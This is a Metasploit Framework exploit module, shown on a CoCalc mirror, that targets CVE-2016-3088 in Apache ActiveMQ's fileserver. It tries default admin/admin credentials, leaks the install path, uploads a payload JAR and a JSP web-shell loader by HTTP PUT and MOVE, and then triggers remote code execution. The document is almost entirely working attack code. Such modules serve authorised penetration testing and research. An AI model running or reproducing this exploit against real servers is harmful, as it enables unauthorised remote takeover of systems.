Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
31922 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::FileDropper
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ActiveMQ web shell upload',
16
'Description' => %q{
17
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
18
allows remote attackers to upload and execute arbitrary files via an
19
HTTP PUT followed by an HTTP MOVE request.
20
},
21
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2016-3088' ],
25
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
26
],
27
'Privileged' => true,
28
'Targets' => [
29
[
30
'Java Universal',
31
{
32
'Platform' => 'java',
33
'Arch' => ARCH_JAVA
34
}
35
],
36
[
37
'Linux',
38
{
39
'Platform' => 'linux',
40
'Arch' => ARCH_X86
41
}
42
],
43
[
44
'Windows',
45
{
46
'Platform' => 'win',
47
'Arch' => ARCH_X86
48
}
49
]
50
],
51
'DisclosureDate' => '2016-06-01',
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
register_options(
61
[
62
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
63
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
64
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
65
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
66
Opt::RPORT(8161)
67
]
68
)
69
register_advanced_options(
70
[
71
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
72
]
73
)
74
end
75
76
def jsp_text(payload_name)
77
%{
78
<%@ page import="java.io.*"
79
%><%@ page import="java.net.*"
80
%><%
81
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
82
Class c = cl.loadClass("metasploit.Payload");
83
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
84
%>}
85
end
86
87
def exploit
88
jar_payload = payload.encoded_jar.pack
89
payload_name = datastore['JSP'] || rand_text_alpha(rand(8..15))
90
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
91
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
92
paths = get_upload_paths
93
paths.each do |path|
94
next unless try_upload(path, jar_payload, payload_name)
95
break handler if trigger_payload(payload_name)
96
97
print_error('Unable to trigger payload')
98
end
99
end
100
101
def try_upload(path, jar_payload, payload_name)
102
['.jar', '.jsp'].each do |ext|
103
file_name = payload_name + ext
104
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
105
move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
106
upload_uri = normalize_uri('fileserver', file_name)
107
print_status("Uploading #{move_headers['Destination']}")
108
register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
109
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
110
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
111
112
@trigger_resource = /webapps(.*)/.match(path)[1]
113
end
114
true
115
end
116
117
def get_upload_paths
118
base_path = "#{get_install_path}/webapps"
119
custom_path = datastore['UploadPath']
120
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
121
122
[ "#{base_path}/api/", "#{base_path}/admin/" ]
123
end
124
125
def get_install_path
126
properties_page = send_request('GET', "#{@url}/admin/test/")
127
fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
128
properties_page = properties_page.body
129
match = properties_page.match(/activemq\.home=([^,}]+)/)
130
return match[1] unless match.nil?
131
end
132
133
def send_request(method, uri, expected_response = 200, opts = {})
134
opts['headers'] ||= {}
135
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
136
opts['headers']['Connection'] = 'close'
137
r = send_request_cgi(
138
{
139
'method' => method,
140
'uri' => uri
141
}.merge(opts)
142
)
143
if r.nil?
144
fail_with(Failure::Unreachable, 'Could not reach the target!')
145
end
146
return false if expected_response != r.code.to_i
147
148
r
149
end
150
151
def trigger_payload(payload_name)
152
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
153
end
154
155
def error_out
156
print_error('Upload failed')
157
@trigger_resource = nil
158
false
159
end
160
end
161
162